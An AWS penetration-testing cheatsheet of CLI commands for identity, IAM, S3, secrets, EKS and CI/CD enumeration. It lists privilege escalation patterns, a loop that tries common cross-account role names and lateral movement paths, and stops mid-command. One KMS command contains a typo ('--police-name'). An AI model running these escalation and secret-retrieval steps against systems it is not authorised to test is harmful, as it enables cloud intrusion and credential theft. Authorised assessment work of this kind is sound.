AWS Pentesting Cheatsheet

This cheatsheet was written after a long winded engagement in which I took all my personal notes, some notes from the internet and fed them into AI to make sense of all the things I had compiled over a month and a half

It could be the most comprehensive cheatsheet on the internet for AWS pentesting or it might not be! Use your own judgement and determine what fits and what doesnt : )

Table of Contents


1. Initial Setup

Set common variables

export REGION="ap-southeast-2"
export PROFILE="default"
export ACCOUNT_ID="$(aws sts get-caller-identity --query Account --output text)"

Check installed tools

aws --version
jq --version
kubectl version --client
python3 --version

Useful AWS CLI options

--profile <PROFILE>
--region <REGION>
--output json
--output table
--query '<JMESPATH_QUERY>'

Example:

aws --profile "$PROFILE" --region "$REGION" sts get-caller-identity

Check configured AWS profiles

aws configure list-profiles
aws configure list

Check environment credentials

env | grep AWS

Look for:

AWS_PROFILE
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
AWS_REGION
AWS_DEFAULT_REGION

2. Identity and Credential Validation

Confirm current identity

aws sts get-caller-identity

Example output:

{
  "UserId": "AIDA...",
  "Account": "111122223333",
  "Arn": "arn:aws:iam::111122223333:user/example-user"
}

Interpret identity types

ARN Pattern Meaning
arn:aws:iam::<acct>:user/<user> IAM user
arn:aws:iam::<acct>:role/<role> IAM role
arn:aws:sts::<acct>:assumed-role/<role>/<session> Assumed role session
arn:aws:iam::<acct>:root Account root principal
arn:aws:iam::<acct>:role/aws-reserved/sso.amazonaws.com/... IAM Identity Center / AWS SSO role

Get caller account alias

aws iam list-account-aliases

Check account summary

aws iam get-account-summary

Look for:

Users
Groups
Roles
Policies
MFADevices
AccountMFAEnabled
AccessKeysPerUserQuota

Check caller permissions quickly

There is no universal “show my permissions” API, but you can often check out attached policies if your principal is an IAM user.

For IAM user:

USER_NAME=$(aws sts get-caller-identity --query Arn --output text | awk -F'/' '{print $NF}')

aws iam list-attached-user-policies --user-name "$USER_NAME"
aws iam list-user-policies --user-name "$USER_NAME"
aws iam list-groups-for-user --user-name "$USER_NAME"

For assumed role, identify role name:

CALLER_ARN=$(aws sts get-caller-identity --query Arn --output text)
echo "$CALLER_ARN"

If assumed role:

arn:aws:sts::<acct>:assumed-role/<role-name>/<session-name>

Then:

ROLE_NAME=$(echo "$CALLER_ARN" | awk -F'/' '{print $(NF-1)}')

aws iam get-role --role-name "$ROLE_NAME"
aws iam list-attached-role-policies --role-name "$ROLE_NAME"
aws iam list-role-policies --role-name "$ROLE_NAME"

3. Account and Organization Enumeration

List AWS Organization accounts

aws organizations list-accounts \
  --query 'Accounts[?Status==`ACTIVE`].[Id,Name,Email]' \
  --output table

TSV format:

aws organizations list-accounts --output json | jq -r '
.Accounts[] |
select(.Status == "ACTIVE") |
[.Id, .Name, .Email] | @tsv
'

Look for accounts such as:

Development
Test
Staging
Production
Security
Audit
Shared Services
Networking
Operations
Logging
Reporting

List organizational units

aws organizations list-roots
ROOT_ID=$(aws organizations list-roots --query 'Roots[0].Id' --output text)

aws organizations list-organizational-units-for-parent \
  --parent-id "$ROOT_ID"

List accounts under OU

aws organizations list-accounts-for-parent \
  --parent-id <OU_ID>

List SCPs attached to root/account/OU

aws organizations list-policies-for-target \
  --target-id <ACCOUNT_OR_OU_OR_ROOT_ID> \
  --filter SERVICE_CONTROL_POLICY

Describe SCP

aws organizations describe-policy \
  --policy-id <POLICY_ID>

Look for:

Deny sts:AssumeRole
Deny iam:*
Deny disabling security services
Deny leaving organization
Deny deleting CloudTrail
Allowed regions

4. IAM Enumeration

IAM is often the highest-impact area in AWS pentesting.

List users

aws iam list-users \
  --query 'Users[].{UserName:UserName,Arn:Arn,Created:CreateDate,PasswordLastUsed:PasswordLastUsed}' \
  --output table

List roles

aws iam list-roles \
  --query 'Roles[].{RoleName:RoleName,Arn:Arn,Path:Path,Created:CreateDate}' \
  --output table

List groups

aws iam list-groups \
  --query 'Groups[].{GroupName:GroupName,Arn:Arn,Created:CreateDate}' \
  --output table

List policies

aws iam list-policies \
  --scope Local \
  --query 'Policies[].{Name:PolicyName,Arn:Arn,DefaultVersion:DefaultVersionId,AttachmentCount:AttachmentCount}' \
  --output table

Inspect a role

aws iam get-role --role-name <ROLE_NAME>

Look for:

AssumeRolePolicyDocument
PermissionsBoundary
Tags
RoleLastUsed
MaxSessionDuration

List role managed policies

aws iam list-attached-role-policies \
  --role-name <ROLE_NAME>

List role inline policies

aws iam list-role-policies \
  --role-name <ROLE_NAME>

Get inline role policy

aws iam get-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name <POLICY_NAME>

Get managed policy document

POLICY_ARN="<POLICY_ARN>"

aws iam get-policy --policy-arn "$POLICY_ARN"
VERSION_ID=$(aws iam get-policy \
  --policy-arn "$POLICY_ARN" \
  --query 'Policy.DefaultVersionId' \
  --output text)

aws iam get-policy-version \
  --policy-arn "$POLICY_ARN" \
  --version-id "$VERSION_ID"

Enumerate access keys

for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  echo "===== $user ====="
  aws iam list-access-keys --user-name "$user" --output table
done

Look for:

Old access keys
Inactive keys
Keys not rotated
Multiple active keys

Check MFA status

for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  echo "===== $user ====="
  aws iam list-mfa-devices --user-name "$user" --output table
done

Enumerate login profiles

for user in $(aws iam list-users --query 'Users[].UserName' --output text); do
  echo "===== $user ====="
  aws iam get-login-profile --user-name "$user" 2>/dev/null || echo "No console login"
done

5. IAM Privilege Escalation Checks

High-risk IAM permissions

Look for:

iam:CreateRole
iam:UpdateAssumeRolePolicy
iam:AttachRolePolicy
iam:PutRolePolicy
iam:CreatePolicy
iam:CreatePolicyVersion
iam:SetDefaultPolicyVersion
iam:PassRole
iam:CreateAccessKey
iam:UpdateLoginProfile
iam:CreateLoginProfile
iam:AddUserToGroup
iam:PutUserPolicy
iam:AttachUserPolicy
iam:PutGroupPolicy
iam:AttachGroupPolicy
iam:UpdateRole
iam:DeleteRolePermissionsBoundary
sts:AssumeRole

Common privilege escalation patterns

Permission Pattern Risk
iam:CreateAccessKey on privileged user Create new API key for privileged user
iam:CreateLoginProfile / UpdateLoginProfile Create/reset console password
iam:AttachUserPolicy Attach AdministratorAccess to self/user
iam:PutUserPolicy Add inline admin policy to self/user
iam:AddUserToGroup Add self to admin group
iam:AttachRolePolicy Attach admin policy to assumable/workload role
iam:PutRolePolicy Add inline admin policy to role
iam:UpdateAssumeRolePolicy Make role assumable by attacker principal
iam:PassRole + ec2:RunInstances Launch EC2 with privileged role
iam:PassRole + lambda:CreateFunction Create Lambda with privileged role
iam:PassRole + ecs:RunTask Run ECS task with privileged role
iam:PassRole + codebuild:CreateProject/StartBuild Execute commands with privileged build role
cloudformation:CreateStack + iam:PassRole Create privileged resources through CloudFormation
eks:CreateAccessEntry + eks:AssociateAccessPolicy Grant Kubernetes access

Check whether you can simulate role assumption

aws iam simulate-principal-policy \
  --policy-source-arn <SOURCE_PRINCIPAL_ARN> \
  --action-names sts:AssumeRole \
  --resource-arns <TARGET_ROLE_ARN> \
  --output yaml

Remember:

Source identity must allow sts:AssumeRole
Target role trust policy must trust source principal
SCPs/permission boundaries/session policies can still block

Safe validation for role policy modification

aws iam put-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name PT-Validation-ListOnly \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": "cloudwatch:ListMetrics",
        "Resource": "*"
      }
    ]
  }'

Cleanup:

aws iam delete-role-policy \
  --role-name <ROLE_NAME> \
  --policy-name PT-Validation-ListOnly

6. Cross-Account Access Testing

Test direct role assumption

aws sts assume-role \
  --role-arn arn:aws:iam::<TARGET_ACCOUNT_ID>:role/<ROLE_NAME> \
  --role-session-name pt-cross-account-test \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

Success:

arn:aws:sts::<TARGET_ACCOUNT_ID>:assumed-role/<ROLE_NAME>/pt-cross-account-test

This proves cross-account access.

Important note

aws sts assume-role does not switch your shell automatically.

If this works:

aws sts assume-role ...

Then this may still show your original identity:

aws sts get-caller-identity

To use the role, configure a profile or export the returned credentials.

Create profile for assumed role

aws configure set profile.<PROFILE_NAME>.role_arn arn:aws:iam::<TARGET_ACCOUNT_ID>:role/<ROLE_NAME>
aws configure set profile.<PROFILE_NAME>.source_profile default
aws configure set profile.<PROFILE_NAME>.role_session_name pt-session
aws configure set profile.<PROFILE_NAME>.region "$REGION"

Test:

aws --profile <PROFILE_NAME> sts get-caller-identity

Test common cross-account role names

Common names:

OrganizationAccountAccessRole
AWSControlTowerExecution
tf-automation
terraform
TerraformExecutionRole
admin
Administrator
deployment
cicd
ci-cd
GitHubActionsRole
GitLabRunnerRole
CodeBuildRole
SecurityAudit
AuditRole
ReadOnly

Loop through accounts and role names:

ROLE_NAMES=(
  "OrganizationAccountAccessRole"
  "AWSControlTowerExecution"
  "tf-automation"
  "terraform"
  "deployment"
  "cicd"
  "SecurityAudit"
  "ReadOnly"
)

aws organizations list-accounts --output json | jq -r '
.Accounts[] |
select(.Status == "ACTIVE") |
[.Id, .Name] | @tsv
' | while IFS=$'\t' read -r acct name; do

  acct="$(echo "$acct" | tr -dc '0-9')"

  for role in "${ROLE_NAMES[@]}"; do
    ROLE_ARN="arn:aws:iam::${acct}:role/${role}"

    echo "Testing $ROLE_ARN"

    aws sts assume-role \
      --role-arn "$ROLE_ARN" \
      --role-session-name "pt-${acct}-${role}" \
      --duration-seconds 900 \
      --query 'AssumedRoleUser.Arn' \
      --output text 2>/tmp/assume_err

    if [ $? -eq 0 ]; then
      echo "[+] SUCCESS: $ROLE_ARN"
    else
      echo "[-] Failed"
    fi
  done
done

Reporting cross-account access

Strong finding if path crosses trust boundaries:

Development account principal -> Production account role

Example:

arn:aws:iam::<DEV_ACCOUNT>:user/<dev-user> -> arn:aws:iam::<PROD_ACCOUNT>:role/tf-automation

Impact depends on target role permissions.


7. S3 Assessment

List buckets

aws s3api list-buckets \
  --query 'Buckets[].Name' \
  --output table

Get bucket region

aws s3api get-bucket-location \
  --bucket <BUCKET_NAME>

Check public access block

aws s3api get-public-access-block \
  --bucket <BUCKET_NAME>

Look for risky values:

"BlockPublicAcls": false
"IgnorePublicAcls": false
"BlockPublicPolicy": false
"RestrictPublicBuckets": false

Check bucket policy

aws s3api get-bucket-policy \
  --bucket <BUCKET_NAME> \
  --query Policy \
  --output text | jq .

Look for:

Principal: "*"
NotPrincipal
s3:GetObject
s3:PutObject
s3:ListBucket
Condition missing or too broad
Cross-account principals

Check ACL

aws s3api get-bucket-acl \
  --bucket <BUCKET_NAME>

Look for grants to:

AllUsers
AuthenticatedUsers

Check encryption

aws s3api get-bucket-encryption \
  --bucket <BUCKET_NAME>

Check versioning

aws s3api get-bucket-versioning \
  --bucket <BUCKET_NAME>

Check logging

aws s3api get-bucket-logging \
  --bucket <BUCKET_NAME>

Check object listing

aws s3api list-objects-v2 \
  --bucket <BUCKET_NAME> \
  --max-items 10

Safe object access validation

aws s3api get-object \
  --bucket <BUCKET_NAME> \
  --key <CLIENT_APPROVED_CANARY_KEY> \
  /tmp/canary.txt

8. Secrets, SSM, and KMS

Secrets Manager metadata

aws secretsmanager list-secrets \
  --region "$REGION" \
  --query 'SecretList[].{Name:Name,ARN:ARN,LastChanged:LastChangedDate,KmsKeyId:KmsKeyId}' \
  --output table

Retrieve secret value

aws secretsmanager get-secret-value \
  --secret-id <SECRET_ID> \
  --region "$REGION"

Note that sometimes you may get a None in KmsKeyId attribute, and so in that case you can simply add the ARN instead of the KmsKeyId in the --secret-id argument.

SSM Parameter Store metadata

aws ssm describe-parameters \
  --region "$REGION" \
  --query 'Parameters[].{Name:Name,Type:Type,KeyId:KeyId,LastModified:LastModifiedDate}' \
  --output table

Retrieve SSM parameter

aws ssm get-parameter --name <PARAMETER_NAME> --with-decryption --region "$REGION"

KMS keys

Sometimes there may be aliased and gated and so you will need to ensure you know the relevant alises to further use them in the commands to come

aws kms list-aliases --region "$REGION"
aws kms list-keys --region "$REGION"

After running the above, we might get/find the tags which may show you env names, the names of control/system owners and other info

aws kms list-resource-tags --key-id <RESOURCE_TAG_ID> --region "$REGION"

We might want to list the key access policy

aws kms get-key-policy --key-id <RESOURCE_TAG_ID> --police-name default --region "$REGION"

Finally we can also see the grants on a key to see which roles, services and applications are using the keys identified

aws kms list-grants --key-id <RESOURCE_TAG_ID> --region "$REGION"
aws kms describe-key --key-id <KEY_ID> --region "$REGION"

KMS key policy

aws kms get-key-policy \
  --key-id <KEY_ID> \
  --policy-name default \
  --region "$REGION" \
  --output text | jq .

Look for:

Broad principals
Cross-account principals
kms:Decrypt
kms:CreateGrant
kms:PutKeyPolicy
kms:ScheduleKeyDeletion

9. EC2, EBS, AMIs, and Networking

List instances

aws ec2 describe-instances \
  --region "$REGION" \
  --query 'Reservations[].Instances[].{Id:InstanceId,State:State.Name,Type:InstanceType,PrivateIP:PrivateIpAddress,PublicIP:PublicIpAddress,Profile:IamInstanceProfile.Arn,SGs:SecurityGroups[].GroupId,Tags:Tags}' \
  --output table

Look for:

Public IPs
Privileged instance profiles
Bastion/jump boxes
Production tags
Outdated AMIs

List instance profiles

aws iam list-instance-profiles

Describe security groups

aws ec2 describe-security-groups \
  --region "$REGION" \
  --query 'SecurityGroups[].{GroupId:GroupId,Name:GroupName,Vpc:VpcId,Ingress:IpPermissions}' \
  --output json

Look for:

0.0.0.0/0 on 22
0.0.0.0/0 on 3389
0.0.0.0/0 on database ports
0.0.0.0/0 on admin panels
Wide internal trust

Common sensitive ports:

22 SSH
3389 RDP
3306 MySQL
5432 PostgreSQL
1433 MSSQL
6379 Redis
9200 Elasticsearch
5601 Kibana
27017 MongoDB
8080/8443 Admin apps

List VPCs

aws ec2 describe-vpcs \
  --region "$REGION" \
  --output table

List subnets

aws ec2 describe-subnets \
  --region "$REGION" \
  --query 'Subnets[].{SubnetId:SubnetId,VpcId:VpcId,Cidr:CidrBlock,AZ:AvailabilityZone,Public:MapPublicIpOnLaunch,Tags:Tags}' \
  --output table

List route tables

aws ec2 describe-route-tables \
  --region "$REGION" \
  --output table

Look for:

0.0.0.0/0 -> Internet Gateway
0.0.0.0/0 -> NAT Gateway
Peering routes
Transit Gateway routes
VPN/Direct Connect routes

List network ACLs

aws ec2 describe-network-acls \
  --region "$REGION"

EBS volumes

aws ec2 describe-volumes \
  --region "$REGION" \
  --query 'Volumes[].{VolumeId:VolumeId,Encrypted:Encrypted,KmsKeyId:KmsKeyId,State:State,Size:Size,Attachments:Attachments}' \
  --output table

Look for:

Unencrypted volumes
Detached volumes
Volumes attached to sensitive instances

EBS snapshots

aws ec2 describe-snapshots \
  --owner-ids self \
  --region "$REGION" \
  --query 'Snapshots[].{SnapshotId:SnapshotId,Encrypted:Encrypted,VolumeSize:VolumeSize,StartTime:StartTime,Description:Description}' \
  --output table

Check snapshot sharing:

aws ec2 describe-snapshot-attribute \
  --snapshot-id <SNAPSHOT_ID> \
  --attribute createVolumePermission \
  --region "$REGION"

Look for:

Group: all
Unexpected account IDs

AMIs

aws ec2 describe-images \
  --owners self \
  --region "$REGION" \
  --query 'Images[].{ImageId:ImageId,Name:Name,CreationDate:CreationDate,Public:Public,BlockDevices:BlockDeviceMappings}' \
  --output table

Check AMI launch permissions:

aws ec2 describe-image-attribute \
  --image-id <AMI_ID> \
  --attribute launchPermission \
  --region "$REGION"

Look for public or unexpected shared AMIs.


10. RDS, Redshift, DynamoDB, and Data Services

RDS instances

aws rds describe-db-instances \
  --region "$REGION" \
  --query 'DBInstances[].{DB:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Port:Endpoint.Port,Public:PubliclyAccessible,StorageEncrypted:StorageEncrypted,KmsKeyId:KmsKeyId,MultiAZ:MultiAZ}' \
  --output table

Look for:

PubliclyAccessible: true
Unencrypted storage
Weak security groups
Production DB endpoints
Old engine versions

RDS snapshots

aws rds describe-db-snapshots \
  --region "$REGION" \
  --query 'DBSnapshots[].{Snapshot:DBSnapshotIdentifier,DB:DBInstanceIdentifier,Encrypted:Encrypted,SnapshotType:SnapshotType,Status:Status}' \
  --output table

Check snapshot attributes:

aws rds describe-db-snapshot-attributes \
  --db-snapshot-identifier <SNAPSHOT_ID> \
  --region "$REGION"

Look for public/shared snapshots.

Aurora clusters

aws rds describe-db-clusters \
  --region "$REGION" \
  --query 'DBClusters[].{Cluster:DBClusterIdentifier,Engine:Engine,Endpoint:Endpoint,ReaderEndpoint:ReaderEndpoint,Encrypted:StorageEncrypted}' \
  --output table

Redshift

aws redshift describe-clusters \
  --region "$REGION" \
  --query 'Clusters[].{Cluster:ClusterIdentifier,DB:DBName,Endpoint:Endpoint.Address,Port:Endpoint.Port,Public:PubliclyAccessible,Encrypted:Encrypted}' \
  --output table

DynamoDB

aws dynamodb list-tables --region "$REGION"
aws dynamodb describe-table \
  --table-name <TABLE_NAME> \
  --region "$REGION"

Look for:

PII table names
Backups
Streams enabled
Encryption settings

11. Lambda Assessment

List functions

aws lambda list-functions \
  --region "$REGION" \
  --query 'Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role,LastModified:LastModified,Timeout:Timeout}' \
  --output table

Look for:

Privileged execution roles
Old runtimes
Functions with VPC access
Deployment or admin functions

Get function configuration

aws lambda get-function-configuration \
  --function-name <FUNCTION_NAME> \
  --region "$REGION"

Look for:

Role
Environment variables
KMSKeyArn
VpcConfig
DeadLetterConfig
TracingConfig

Get function policy

aws lambda get-policy \
  --function-name <FUNCTION_NAME> \
  --region "$REGION"

Look for:

Public invoke permissions
Cross-account invoke permissions
API Gateway/EventBridge/S3 triggers

List event source mappings

aws lambda list-event-source-mappings \
  --function-name <FUNCTION_NAME> \
  --region "$REGION"

Dangerous Lambda permissions

lambda:UpdateFunctionCode
lambda:UpdateFunctionConfiguration
lambda:CreateFunction
lambda:InvokeFunction
iam:PassRole

Potential impact:

Code execution under Lambda execution role
Credential access via environment
Lateral movement into VPC

12. ECS, ECR, and Container Services

ECS clusters

aws ecs list-clusters --region "$REGION"

ECS services

aws ecs list-services \
  --cluster <CLUSTER_ARN_OR_NAME> \
  --region "$REGION"

Describe services

aws ecs describe-services \
  --cluster <CLUSTER> \
  --services <SERVICE_NAME> \
  --region "$REGION"

Look for task definitions.

Describe task definition

aws ecs describe-task-definition \
  --task-definition <TASK_DEFINITION> \
  --region "$REGION"

Look for:

taskRoleArn
executionRoleArn
secrets
environment
privileged containers
mount points
network mode

List running tasks

aws ecs list-tasks \
  --cluster <CLUSTER> \
  --region "$REGION"

Describe tasks

aws ecs describe-tasks \
  --cluster <CLUSTER> \
  --tasks <TASK_ARN> \
  --region "$REGION"

ECR repositories

aws ecr describe-repositories \
  --region "$REGION" \
  --query 'repositories[].{Name:repositoryName,Uri:repositoryUri,ScanOnPush:imageScanningConfiguration.scanOnPush,Encryption:encryptionConfiguration.encryptionType}' \
  --output table

List images

aws ecr list-images \
  --repository-name <REPO_NAME> \
  --region "$REGION"

ECR repository policy

aws ecr get-repository-policy \
  --repository-name <REPO_NAME> \
  --region "$REGION" \
  --output text | jq .

Look for:

Public/cross-account pull
Cross-account push
Broad principals

13. EKS and Kubernetes Assessment

List EKS clusters

aws eks list-clusters \
  --region "$REGION" \
  --output table

Describe cluster

aws eks describe-cluster \
  --region "$REGION" \
  --name <CLUSTER_NAME> \
  --query 'cluster.{
    name:name,
    arn:arn,
    status:status,
    version:version,
    endpoint:endpoint,
    publicEndpoint:resourcesVpcConfig.endpointPublicAccess,
    privateEndpoint:resourcesVpcConfig.endpointPrivateAccess,
    publicCidrs:resourcesVpcConfig.publicAccessCidrs,
    authenticationMode:accessConfig.authenticationMode,
    bootstrapClusterCreatorAdminPermissions:accessConfig.bootstrapClusterCreatorAdminPermissions,
    roleArn:roleArn,
    oidcIssuer:identity.oidc.issuer
  }' \
  --output yaml

Look for:

Public endpoint open to 0.0.0.0/0
API_AND_CONFIG_MAP migration state
Legacy aws-auth access
Cluster creator admin
OIDC provider for IRSA

Add context

aws eks update-kubeconfig \
  --region "$REGION" \
  --name <CLUSTER_NAME> \
  --alias <CONTEXT_NAME>

With role:

aws eks update-kubeconfig \
  --region "$REGION" \
  --name <CLUSTER_NAME> \
  --alias <CONTEXT_NAME> \
  --user-alias <USER_ALIAS> \
  --role-arn arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>

Check auth

kubectl --context <CONTEXT_NAME> auth whoami

Check permissions

kubectl --context <CONTEXT_NAME> auth can-i list namespaces
kubectl --context <CONTEXT_NAME> auth can-i list pods --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i get secrets --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i create pods --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i create pods/exec --all-namespaces
kubectl --context <CONTEXT_NAME> auth can-i '*' '*' --all-namespaces

Safe enumeration

kubectl --context <CONTEXT_NAME> get ns
kubectl --context <CONTEXT_NAME> get nodes
kubectl --context <CONTEXT_NAME> get pods -A
kubectl --context <CONTEXT_NAME> get serviceaccounts -A
kubectl --context <CONTEXT_NAME> get deployments -A

EKS access entries

aws eks list-access-entries \
  --region "$REGION" \
  --cluster-name <CLUSTER_NAME> \
  --output table
aws eks describe-access-entry \
  --region "$REGION" \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <PRINCIPAL_ARN> \
  --output yaml
aws eks list-associated-access-policies \
  --region "$REGION" \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <PRINCIPAL_ARN> \
  --output yaml

Look for:

AmazonEKSClusterAdminPolicy
AmazonEKSAdminPolicy
AmazonEKSEditPolicy
AmazonEKSViewPolicy

Legacy aws-auth ConfigMap

kubectl --context <CONTEXT_NAME> -n kube-system get configmap aws-auth -o yaml

Look for:

system:masters
Mapped admin roles
Mapped node roles
Broad IAM role mappings

IRSA roles from Kubernetes

kubectl --context <CONTEXT_NAME> get serviceaccounts -A -o json | jq -r '
.items[] |
select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
[
  .metadata.namespace,
  .metadata.name,
  .metadata.annotations["eks.amazonaws.com/role-arn"]
] | @tsv
'

IRSA roles from IAM

aws iam list-roles --output json | jq -r '
.Roles[] as $role |
$role.AssumeRolePolicyDocument.Statement[]? |
select((.Action | tostring) | contains("AssumeRoleWithWebIdentity")) |
[
  $role.RoleName,
  (
    (.Condition.StringLike // .Condition.StringEquals // {}) |
    to_entries[]? |
    select(.key | endswith(":sub")) |
    .value |
    if type == "array" then .[] else . end
  )
] | @tsv
'

Look for wildcard service account trust:

system:serviceaccount:namespace:serviceaccount-*
system:serviceaccount:*:*

14. CI/CD and Developer Services

CodeBuild projects

aws codebuild list-projects --region "$REGION"
aws codebuild batch-get-projects \
  --names <PROJECT_NAME> \
  --region "$REGION"

Look for:

serviceRole
privilegedMode
environment variables
secrets
source repository
buildspec
VPC config

Risky permissions:

codebuild:StartBuild
codebuild:UpdateProject
iam:PassRole

Impact:

Command execution as CodeBuild service role
Access to build secrets
Deployment pipeline tampering

CodePipeline

aws codepipeline list-pipelines --region "$REGION"
aws codepipeline get-pipeline \
  --name <PIPELINE_NAME> \
  --region "$REGION"

Look for:

Artifact stores
Deployment stages
Approval stages
Cross-account actions
Service roles

CodeCommit

aws codecommit list-repositories --region "$REGION"
aws codecommit get-repository \
  --repository-name <REPO_NAME> \
  --region "$REGION"

Avoid cloning private repositories unless explicitly authorized.

CodeDeploy

aws deploy list-applications --region "$REGION"
aws deploy list-deployment-groups \
  --application-name <APP_NAME> \
  --region "$REGION"

GitHub/GitLab OIDC roles

Search IAM roles for OIDC trust:

aws iam list-roles --output json | jq -r '
.Roles[] |
select(.AssumeRolePolicyDocument.Statement[]? .Principal.Federated? != null) |
.RoleName
'

Inspect trust policies for:

token.actions.githubusercontent.com
gitlab.com
Bitbucket OIDC
Wildcard repositories
Wildcard branches

Risky examples:

repo:*/*
ref:refs/heads/*

15. CloudFormation, Terraform, and IaC

CloudFormation stacks

aws cloudformation list-stacks \
  --region "$REGION" \
  --stack-status-filter CREATE_COMPLETE UPDATE_COMPLETE UPDATE_ROLLBACK_COMPLETE \
  --output table

Describe stack

aws cloudformation describe-stacks \
  --stack-name <STACK_NAME> \
  --region "$REGION"

Look for:

Outputs
Parameters
IAM roles
Secret-looking parameter values
Deployment buckets

Stack resources

aws cloudformation list-stack-resources \
  --stack-name <STACK_NAME> \
  --region "$REGION"

Terraform state locations

Look for buckets with names like:

terraform-state
tfstate
infra-state
backend-state

Search S3 bucket names:

aws s3api list-buckets \
  --query 'Buckets[].Name' \
  --output text | tr '\t' '\n' | grep -Ei 'tf|terraform|state|infra'

If authorized, list metadata:

aws s3api list-objects-v2 \
  --bucket <TF_STATE_BUCKET> \
  --max-items 20

note that Terraform state may contain sensitive values

Terraform automation roles

Common high-value roles:

tf-automation
terraform
TerraformExecutionRole
infra-admin
deployment

Inspect trust and permissions:

aws iam get-role --role-name tf-automation
aws iam list-attached-role-policies --role-name tf-automation
aws iam list-role-policies --role-name tf-automation

16. API Gateway, CloudFront, Route53, and Edge Services

API Gateway REST APIs

aws apigateway get-rest-apis \
  --region "$REGION" \
  --query 'items[].{id:id,name:name,createdDate:createdDate,endpointConfiguration:endpointConfiguration.types}' \
  --output table

API Gateway HTTP APIs / WebSocket APIs

aws apigatewayv2 get-apis \
  --region "$REGION" \
  --output table

Look for:

Unauthenticated routes
IAM auth disabled
JWT authorizers
Lambda authorizers
Public APIs
Prod stages

Stages

aws apigateway get-stages \
  --rest-api-id <API_ID> \
  --region "$REGION"

CloudFront distributions

aws cloudfront list-distributions \
  --query 'DistributionList.Items[].{Id:Id,Domain:DomainName,Enabled:Enabled,Origins:Origins.Items[].DomainName,Aliases:Aliases.Items}' \
  --output table

Look for:

S3 origins
Custom origins
Missing WAF
HTTP allowed
Weak TLS
Origin exposed directly

Route53 hosted zones

aws route53 list-hosted-zones

Route53 records

aws route53 list-resource-record-sets \
  --hosted-zone-id <ZONE_ID> \
  --output table

Look for:

Admin panels
Internal-looking names exposed publicly
Old/stale records
Prod/test endpoints
S3 website endpoints
CloudFront aliases

WAF

aws wafv2 list-web-acls \
  --scope REGIONAL \
  --region "$REGION"
aws wafv2 list-web-acls \
  --scope CLOUDFRONT \
  --region us-east-1

17. Cognito Assessment

List user pools

aws cognito-idp list-user-pools \
  --max-results 60 \
  --region "$REGION"

Describe user pool

aws cognito-idp describe-user-pool \
  --user-pool-id <USER_POOL_ID> \
  --region "$REGION"

Look for:

MFA settings
Password policy
AdminCreateUserConfig
Schema attributes
Account recovery
Lambda triggers

List app clients

aws cognito-idp list-user-pool-clients \
  --user-pool-id <USER_POOL_ID> \
  --region "$REGION"

Describe app client

aws cognito-idp describe-user-pool-client \
  --user-pool-id <USER_POOL_ID> \
  --client-id <CLIENT_ID> \
  --region "$REGION"

Look for:

GenerateSecret
AllowedOAuthFlows
AllowedOAuthScopes
CallbackURLs
LogoutURLs
ExplicitAuthFlows
TokenValidityUnits

Identity pools

aws cognito-identity list-identity-pools \
  --max-results 60 \
  --region "$REGION"
aws cognito-identity describe-identity-pool \
  --identity-pool-id <IDENTITY_POOL_ID> \
  --region "$REGION"

Look for:

AllowUnauthenticatedIdentities: true
Authenticated role
Unauthenticated role

18. Logging, Detection, and Security Services

This section is for assessing visibility and control coverage, and is not appropraite/applicable for any real evasion work.

CloudTrail trails

aws cloudtrail describe-trails --region "$REGION"
aws cloudtrail get-trail-status \
  --name <TRAIL_NAME> \
  --region "$REGION"

Look for:

IsLogging: true
Multi-region trail
Log file validation
S3 bucket destination
CloudWatch Logs integration

Event selectors

aws cloudtrail get-event-selectors \
  --trail-name <TRAIL_NAME> \
  --region "$REGION"

Look for:

Management events
Data events for S3/Lambda
Read/write coverage

GuardDuty

aws guardduty list-detectors --region "$REGION"
aws guardduty get-detector \
  --detector-id <DETECTOR_ID> \
  --region "$REGION"

Security Hub

aws securityhub describe-hub --region "$REGION"
aws securityhub get-enabled-standards --region "$REGION"

AWS Config

aws configservice describe-configuration-recorders --region "$REGION"
aws configservice describe-delivery-channels --region "$REGION"
aws configservice describe-config-rules --region "$REGION"

IAM Access Analyzer

aws accessanalyzer list-analyzers --region "$REGION"
aws accessanalyzer list-findings \
  --analyzer-arn <ANALYZER_ARN> \
  --region "$REGION"

Look for findings related to:

Public S3
Cross-account IAM roles
External access
KMS key exposure
Lambda public access
SQS/SNS public access

19. Common AWS Lateral Movement Paths

IAM user to production role

Dev IAM user
  -> sts:AssumeRole
Prod automation/admin role

Test:

aws sts assume-role \
  --role-arn arn:aws:iam::<PROD_ACCOUNT>:role/<ROLE_NAME> \
  --role-session-name pt-prod-test \
  --duration-seconds 900 \
  --query 'AssumedRoleUser.Arn' \
  --output text

IAM role to EKS cluster-admin

Assumable IAM role
  -> EKS Access Entry
  -> AmazonEKSClusterAdminPolicy

Check:

aws eks list-associated-access-policies \
  --region "$REGION" \
  --cluster-name <CLUSTER_NAME> \
  --principal-arn <ROLE_ARN> \
  --output yaml

IAM role to Kubernetes IRSA role

Kubernetes access
  -> create pod/serviceaccount/token
  -> AssumeRoleWithWebIdentity
  -> AWS IAM role

Check:

kubectl auth can-i create pods -n <NAMESPACE>
kubectl auth can-i create serviceaccounts/token -n <NAMESPACE>

IAM PassRole to compute

iam:PassRole
  + ec2:RunInstances / lambda:CreateFunction / ecs:RunTask / codebuild:StartBuild
  -> Code execution under privileged role

CI/CD to cloud admin

CodeBuild/GitHub/GitLab role
  -> Broad AWS permissions
  -> Deployment role
  -> Production access

Terraform state to secrets

Read tfstate bucket
  -> Extract credentials/secrets/outputs
  -> Pivot to services/accounts

Note with tfstate it often contains sensitive data.


20. Safe Validation Steps In Prod

AssumeRole proof without exposing credentials

aws sts assume-role \
